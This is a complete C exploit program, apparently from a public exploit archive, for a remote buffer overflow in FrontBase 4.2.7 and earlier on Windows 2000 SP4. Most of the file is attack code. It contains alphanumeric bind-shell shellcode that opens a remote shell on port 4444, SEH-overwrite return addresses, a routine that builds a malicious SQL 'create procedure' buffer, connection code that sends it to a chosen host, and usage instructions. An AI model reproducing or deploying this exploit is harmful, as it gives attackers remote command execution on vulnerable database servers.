Frontbase for Windows versions 4.2.7 and below remote buffer overflow exploit.
256a9e775e7b3e0e1de96f8fa29fb28e216dfb542e398b5abd1d004c3f3c82f3
/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : Frontbase <= 4.2.7 for Windows
* Site : http://www.frontbase.com
* Found by : Netragard, L.L.C Advisory
* ----------------------------------------
* Exploit date : 25.03.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows 2000 SP4 (will add other later)
* Crew : Dreatica-FXP
* ----------------------------------------
* Info:
* The last Windows version of Frontbase that you can found on official site www.frontbase.com
* is the 4.2.7d and this version is patched, so the exploit will not work here, i have tested that
* exploit on the 4.2.7 version under Windows 2000 SP4 (not patched) and it is working good.
*
* The exploitation, as said in advisory, of this bug is easy: SEH and EIP overwrite methods.
* but in 'real' life the exploitation is more difficult, cause the server allows only alphanumeric
* bytes, like: 0x01 0x02 ... 0x7e 0x7f .
* other bytes: 0x80 ... 0xff come to server transformed:
* 0xEB will transform in two bytes 0xC2 0xAB
* 0xFF will transform in two bytes 0xC3 0xBF
* and etc...
*
* so the exploitation become more difficult here, however in one place of buffer i send to the server byte
* 0xff, with assumptions that i will get the bytes 0xC3 0xBF and that the buffer will be one byte longer.
*
* for the correct exploitation i used some code from win32 SEH GetPC project and metasploit for the shellcodes.
*
* so the exploit is:
* send 3115 bytes to server + address to overwrite SEH.
* in my case i sent 3114 bytes, cause one 0xff transformed in 2 symbols
*
* ----------------------------------------
* Compiling:
* To compile this exploit you need:
* 1. C:\usr\FrontBase\Include\FBCAccess copy to exploit folder.
* 2. Copy from C:\usr\FrontBase\lib\ file FBCAccess.lib to your exploit folder.
* 3. Select FBCAccess.lib in linker options
* 4. Compile.
* ----------------------------------------
* Thanks to:
* Netragard, L.L.C Advisory ( http://www.netragard.com -- "We make I.T. Safe." )
* The Metasploit project ( http://metasploit.com )
* win32 SEH GetPC project ( )
* Dreatica-FXP crew ( )
* ----------------------------------------
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include "FBCAccess/FBCAccess.h"
void usage(char * s);
void logo();
void prepare_shellcode(unsigned char * fsh, int sh);
void make_buffer(char * buf, int itarget, int sh);
int validate_args( int port, int sh, int itarget);
int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf);
// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg; // global argument pointer
int optind = 0, opterr; // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------
struct {
const char *t ;
unsigned long ret ;
} targets[]=
{
// we need alphanumeric addreses so this one found in MSVCRT.dll (there are a lot in it)
{"Windows 2000 SP4 no patches, MSVCRT.dll", 0x78014c40 },//pop, pop, ret
{"Windows 2000 SP4 no pathces, MSVCRT.dll", 0x7803382b },//jmp ebx
{NULL, 0x00000000 }
};
struct {
const char * name;
char * shellcode;
}shellcodes[]={
{"Spawn bindshell on port 4444",
/* modified win32_bind - EXITFUNC=seh LPORT=4444 Encoder=Alpha2 http://metasploit.com
first jmp instructions replaced by alphanumeric code taken from the win32 SEH GetPC project. */
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48\x50\x68"
"\x59\x41\x41\x51\x68\x5A\x59\x59\x59\x59\x41\x41\x51\x51\x44\x44"
"\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58\x56\x6A\x30\x50\x50\x54"
"\x55\x50\x50\x61\x33\x30\x31\x30\x38\x39\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66"
"\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41\x76\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x50\x38\x42\x42\x75\x38\x69\x39\x6c\x52"
"\x4a\x5a\x4b\x42\x6d\x68\x68\x48\x79\x4b\x4f\x6b\x4f\x4b\x4f\x65"
"\x30\x6c\x4b\x30\x6c\x31\x34\x71\x34\x4e\x6b\x42\x65\x65\x6c\x6e"
"\x6b\x53\x4c\x43\x35\x62\x58\x55\x51\x4a\x4f\x4e\x6b\x72\x6f\x54"
"\x58\x6c\x4b\x51\x4f\x77\x50\x53\x31\x78\x6b\x43\x79\x4e\x6b\x54"
"\x74\x6c\x4b\x35\x51\x6a\x4e\x64\x71\x6f\x30\x6e\x79\x6e\x4c\x6d"
"\x54\x6f\x30\x64\x34\x55\x57\x4f\x31\x59\x5a\x36\x6d\x36\x61\x59"
"\x52\x5a\x4b\x4c\x34\x37\x4b\x62\x74\x47\x54\x46\x48\x70\x75\x4d"
"\x35\x6c\x4b\x73\x6f\x64\x64\x33\x31\x4a\x4b\x43\x56\x4c\x4b\x44"
"\x4c\x62\x6b\x6e\x6b\x63\x6f\x57\x6c\x65\x51\x6a\x4b\x77\x73\x56"
"\x4c\x6c\x4b\x6e\x69\x62\x4c\x44\x64\x45\x4c\x55\x31\x6f\x33\x44"
"\x71\x6b\x6b\x51\x74\x4e\x6b\x53\x73\x30\x30\x4e\x6b\x57\x30\x34"
"\x4c\x6c\x4b\x64\x30\x37\x6c\x4e\x4d\x6c\x4b\x53\x70\x73\x38\x73"
"\x6e\x30\x68\x4c\x4e\x62\x6e\x74\x4e\x38\x6c\x30\x50\x79\x6f\x6a"
"\x76\x51\x76\x30\x53\x42\x46\x72\x48\x35\x63\x45\x62\x33\x58\x64"
"\x37\x64\x33\x74\x72\x43\x6f\x33\x64\x4b\x4f\x78\x50\x52\x48\x38"
"\x4b\x7a\x4d\x4b\x4c\x57\x4b\x62\x70\x69\x6f\x6e\x36\x71\x4f\x6e"
"\x69\x4b\x55\x33\x56\x6c\x41\x4a\x4d\x76\x68\x74\x42\x63\x65\x51"
"\x7a\x77\x72\x4b\x4f\x4a\x70\x63\x58\x6e\x39\x35\x59\x6b\x45\x4e"
"\x4d\x30\x57\x4b\x4f\x38\x56\x50\x53\x50\x53\x42\x73\x51\x43\x70"
"\x53\x70\x43\x32\x73\x52\x63\x76\x33\x59\x6f\x6e\x30\x55\x36\x33"
"\x58\x76\x71\x71\x4c\x63\x56\x56\x33\x6e\x69\x59\x71\x4e\x75\x55"
"\x38\x4c\x64\x55\x4a\x72\x50\x6b\x77\x56\x37\x4b\x4f\x4e\x36\x53"
"\x5a\x56\x70\x32\x71\x33\x65\x69\x6f\x4e\x30\x62\x48\x39\x34\x4c"
"\x6d\x74\x6e\x4a\x49\x63\x67\x69\x6f\x79\x46\x43\x63\x36\x35\x6b"
"\x4f\x68\x50\x35\x38\x5a\x45\x70\x49\x6d\x56\x70\x49\x41\x47\x6b"
"\x4f\x68\x56\x56\x30\x41\x44\x33\x64\x71\x45\x69\x6f\x4e\x30\x4d"
"\x43\x53\x58\x5a\x47\x70\x79\x6b\x76\x73\x49\x41\x47\x49\x6f\x4e"
"\x36\x63\x65\x4b\x4f\x4e\x30\x53\x56\x50\x6a\x35\x34\x53\x56\x41"
"\x78\x61\x73\x30\x6d\x4c\x49\x4b\x55\x72\x4a\x72\x70\x76\x39\x45"
"\x79\x58\x4c\x6b\x39\x59\x77\x31\x7a\x67\x34\x4c\x49\x49\x72\x70"
"\x31\x6f\x30\x6c\x33\x6f\x5a\x69\x6e\x72\x62\x36\x4d\x4b\x4e\x53"
"\x72\x34\x6c\x6a\x33\x6e\x6d\x62\x5a\x36\x58\x6c\x6b\x4c\x6b\x4e"
"\x4b\x61\x78\x30\x72\x6b\x4e\x6d\x63\x46\x76\x4b\x4f\x44\x35\x32"
"\x64\x39\x6f\x38\x56\x51\x4b\x70\x57\x52\x72\x70\x51\x32\x71\x53"
"\x61\x42\x4a\x43\x31\x56\x31\x46\x31\x70\x55\x43\x61\x79\x6f\x6a"
"\x70\x62\x48\x6e\x4d\x59\x49\x67\x75\x7a\x6e\x33\x63\x39\x6f\x59"
"\x46\x63\x5a\x59\x6f\x4b\x4f\x76\x57\x6b\x4f\x6a\x70\x4c\x4b\x61"
"\x47\x59\x6c\x6b\x33\x38\x44\x43\x54\x49\x6f\x58\x56\x36\x32\x59"
"\x6f\x4e\x30\x43\x58\x68\x70\x4f\x7a\x54\x44\x73\x6f\x71\x43\x4b"
"\x4f\x4e\x36\x6b\x4f\x78\x50\x66"
},
{NULL , NULL }
};
// alphanumeric long back jump, using SEH method!
char jmptoshellcode[]=
// at the time of jump we have in EBX the address where we jumped after SEH exploitation
// so we can use it to jump [EBX-0C20]
"\x56\x54\x58\x36\x33\x30\x56\x58\x50\x50\x5f\x53\x58\x66\x2d\x20"
"\x0C\x50\x59\x58\x64\x33\x3f\x64\x31\x38\x51\x57\x64\x31\x20\x6c";
int main(int argc, char **argv)
{
char temp1[100], temp2[100];
char * remotehost=NULL, * user=NULL, * password=NULL, * database=NULL, * dbpassword=NULL;
char default_remotehost[]="127.0.0.1";
char default_user[]="_SYSTEM";
char default_password[]="";
char default_database[]="";
char default_dbpassword[]="";
int port, itarget, sh;
char c;
logo();
if(argc<2)
{
usage(argv[0]);
return -1;
}
// set defaults
port=-1;
itarget=0;
sh=0;
// ------------
while((c = getopt(argc, argv, "h:p:s:t:u:P:d:D:"))!= EOF)
{
switch (c)
{
case 'h':
remotehost=optarg;
break;
case 's':
sscanf(optarg, "%d", &sh);
sh--;
break;
case 't':
sscanf(optarg, "%d", &itarget);
itarget--;
break;
case 'p':
sscanf(optarg, "%d", &port);
break;
case 'u':
user=optarg;
break;
case 'P':
password=optarg;
break;
case 'd':
database=optarg;
break;
default:
usage(argv[0]);
return -1;
}
}
if(validate_args( port, sh, itarget)==-1) return -1;
if(remotehost == NULL) remotehost=default_remotehost;
if(user == NULL) user=default_user;
if(password == NULL) password=default_password;
if(dbpassword == NULL) dbpassword=default_dbpassword;
if(database == NULL) database=default_database;
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
memset(temp1, '\x20' , 58 - strlen(remotehost) -1);
printf(" # Host : %s%s# \n", remotehost, temp1);
if(port!=-1)
{
sprintf(temp2, "%d", port);
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Port : %s%s# \n", temp2, temp1);
}else
{
sprintf(temp2, "%s", database);
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Database: %s%s# \n", temp2, temp1);
}
sprintf(temp2, "%s", user);
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # User : %s%s# \n", temp2, temp1);
sprintf(temp2, "%s", database);
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Database: %s%s# \n", temp2, temp1);
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
sprintf(temp2, "%s", shellcodes[sh].name );
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Shellcde: %s%s# \n", temp2, temp1);
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);
printf(" # Target : %s%s# \n", targets[itarget].t, temp1);
printf(" # ------------------------------------------------------------------- # \n");
fflush(stdout);
char buf[20000];
memset(buf,0,sizeof(buf));
printf("[+] Constructing attacking buffer... ");
fflush(stdout);
make_buffer((char *)buf,itarget,sh);
printf("done\n");
if(send_buffer(remotehost,port, user, password, dbpassword, database, buf)==-1)
{
fprintf(stdout, "[-] Cannot exploit server %s\n", remotehost);
return -1;
}
return 0;
}
int validate_args(int port, int sh, int itarget)
{
int i=0,x=0;
for(i=0;shellcodes[i].name;i++)if(i==sh)x=1;
if(x==0)
{
printf("[-] The shellcode number is invalid\n");
return -1;
}
x=0;
for(i=0;targets[i].t;i++)if(i==itarget)x=1;
if(x==0)
{
printf("[-] The target is invalid\n");
return -1;
}
return 1;
}
void prepare_shellcode( char * fsh, int sh)
{
memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode));
}
void make_buffer(char * buf, int itarget, int sh)
{
// -=[ prepare shellcode ]=-
char * fsh;
fsh = (char *) malloc ((strlen(shellcodes[sh].shellcode)+1) );
memset(fsh, 0, (strlen(shellcodes[sh].shellcode)+1));
prepare_shellcode(fsh, sh);
// -----------------
// -=[ fill buffer here ]=-
memset(buf,0,sizeof(buf));
char * cp = buf;
// make vulnerable sql92 command to get exploit
strcat(buf, "create procedure \"");
cp=buf+strlen(buf);
// some useless bytes
memset(cp, 'A', 7);
cp+=strlen((char *)cp);
// shellcode
memcpy(cp, fsh, strlen(fsh));
cp+=strlen((char *)cp);
// fill after shellcode
memset(cp, 'A', 3045-strlen(fsh));
cp+=strlen((char *)cp);
// alphanumeric long jump to our shellcode at the start of the buffer
memcpy(cp, jmptoshellcode, strlen(jmptoshellcode));
cp+=strlen((char *)cp);
memset(cp, 'A', 59-strlen(jmptoshellcode));
cp+=strlen((char *)cp);
// at this place in stack points EBX and RET will go here, so we need to jmp upper
// to prepare alphanumeric long jump
*cp++ = '\x74'; // JNE ... at this point JNE will jump cause the last CMP was 'not equal'
*cp++ = '\xff'; // this is not alphanumeric , but the server will transform \xff -> \xC3\xBF
// so this will give us the JNE C3 and we will jump upper for 59 bytes
// where we put a longer jump to our shellcode. This will add one byte more
// so we will send not 3115, but 3114 bytes to overwrite SEH.
*cp++ = '\x41';
// SEH chain overwrite
*cp++ = (char)((targets[itarget].ret ) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 8) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
// end of the sql92 command
memcpy(cp, "\"()\n begin\n end;", strlen("\"()\n begin\n end;"));
// -----------------
}
int send_buffer(char * host, int port, char * user, char * password, char * dbpassword, char * database, char * buf)
{
FBCDatabaseConnection * fbdc;
FBCMetaData *meta;
char sesn[]="dreatica-fxp";
if(database!=NULL) port = -1;
fbcInitialize();
if (port!=-1)
{
printf("[+] Connecting to %s:%d\n", host, port);
fbdc = fbcdcConnectToDatabaseUsingPort(host, port, dbpassword);
}else
{
printf("[+] Connecting to %s to database %s\n", host, database);
fbdc = fbcdcConnectToDatabase(database, host, dbpassword);
}
if (fbdc == NULL)
{
printf("[-] Cannot connect to %s\n", host);
return -1;
}
char * session_name=sesn;
meta = fbcdcCreateSession(fbdc, session_name, user, password, "system_user");
if (fbcmdErrorsFound(meta) != 0)
{
printf("[-] Failed to create session\n");
FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);
char* msgs = fbcemdAllErrorMessages(emd);
fbcemdRelease(emd);
free(msgs);
fbcmdRelease(meta);
fbcdcClose(fbdc);
fbcdcRelease(fbdc);
return -1;
}
fbcmdRelease(meta);
printf("[+] Sending %d bytes of buffer to server, check the shell\n", strlen(buf));
// if exploit success, the app will stop here.
meta = fbcdcExecuteDirectSQL(fbdc, buf);
if (fbcmdErrorsFound(meta) != 0)
{
printf("[-] Failed to send buffer\n");
FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);
char* msgs = fbcemdAllErrorMessages(emd);
fbcemdRelease(emd);
free(msgs);
fbcmdRelease(meta);
fbcdcClose(fbdc);
fbcdcRelease(fbdc);
return -1;
}
fbcmdRelease(meta);
return 1;
}
// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
next = NULL;
optarg = NULL;
if (next == NULL || *next == '\0')
{
if (optind == 0)
optind++;
if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
{
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
if (strcmp(argv[optind], "--") == 0)
{
optind++;
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
next = argv[optind];
next++; // skip past -
optind++;
}
char c = *next++;
char *cp = strchr(optstring, c);
if (cp == NULL || c == ':')
return '?';
cp++;
if (*cp == ':')
{
if (*next != '\0')
{
optarg = next;
next = NULL;
}
else if (optind < argc)
{
optarg = argv[optind];
optind++;
}
else
{
return '?';
}
}
return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------
void usage(char * s)
{
printf(" Usage:\n");
printf(" %s -h <host> -p <port> -s <shellcode> -t <target> -u <user> -p <password> -d <database> -D <dbpassword>\n", s);
printf(" ----------------------------------------------------------------------- \n");
printf(" Arguments:\n");
printf("\n");
printf(" -h <host> the host IP to attack\n");
printf(" -p <port> the port of server (default: -1 )\n");
printf(" -s <shellcode> shellcode number (default: 0 )\n");
printf(" -t <target> target number (default: 0 )\n");
printf(" -t <target> target number (default: 0 )\n");
printf(" -u <user> user name of frontbase (default: _SYSTEM)\n");
printf(" -p <passwrod> user password (default: <blank>)\n");
printf(" -d <database> database (if port = -1) (default: <blank>)\n");
printf(" -d <dbpassword> database password (default: <blank>)\n");
printf("\n");
printf(" Shellcodes:\n");
for(int i=0; shellcodes[i].name!=0;i++)
{
printf(" %d. %s Size=%d\n",i+1,shellcodes[i].name, strlen(shellcodes[i].shellcode));
}
printf("\n");
printf(" Targets:\n");
for(int j=0; targets[j].t!=0;j++)
{
printf(" %d. %s\n",j+1,targets[j].t);
}
printf("\n");
printf(" Examples:\n");
printf(" %s -h 127.0.0.1 -d NewDB\n", s);
printf(" %s -h 127.0.0.1 -p 1155 -u root -p dta -D dta -t 1\n", s);
printf(" ----------------------------------------------------------------------- \n");
}
void logo()
{
printf(" ####################################################################### \n");
printf(" # ____ __ _ ______ __ _____ #\n");
printf(" # / __ \\________ _____/ /_(_)_________ / __/\\ \\/ / / _ / #\n");
printf(" # / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___ / / \\ / / // / #\n");
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \\ / ___/ #\n");
printf(" # /_____/_/ \\___/ \\_,_/\\__/_/\\___/\\__,_/ /_/ /_/\\_\\/_/ #\n");
printf(" # crew #\n");
printf(" ####################################################################### \n");
printf(" # Exploit : Frontbase <= 4.2.7 for Windows # \n");
printf(" # Author : Heretic2 (heretic2x@gmail.com) # \n");
printf(" # Version : 1.1 # \n");
printf(" # System : Windows 2000 SP4 # \n");
printf(" # Date : 25.03.2007 # \n");
printf(" # ------------------------------------------------------------------- # \n");
}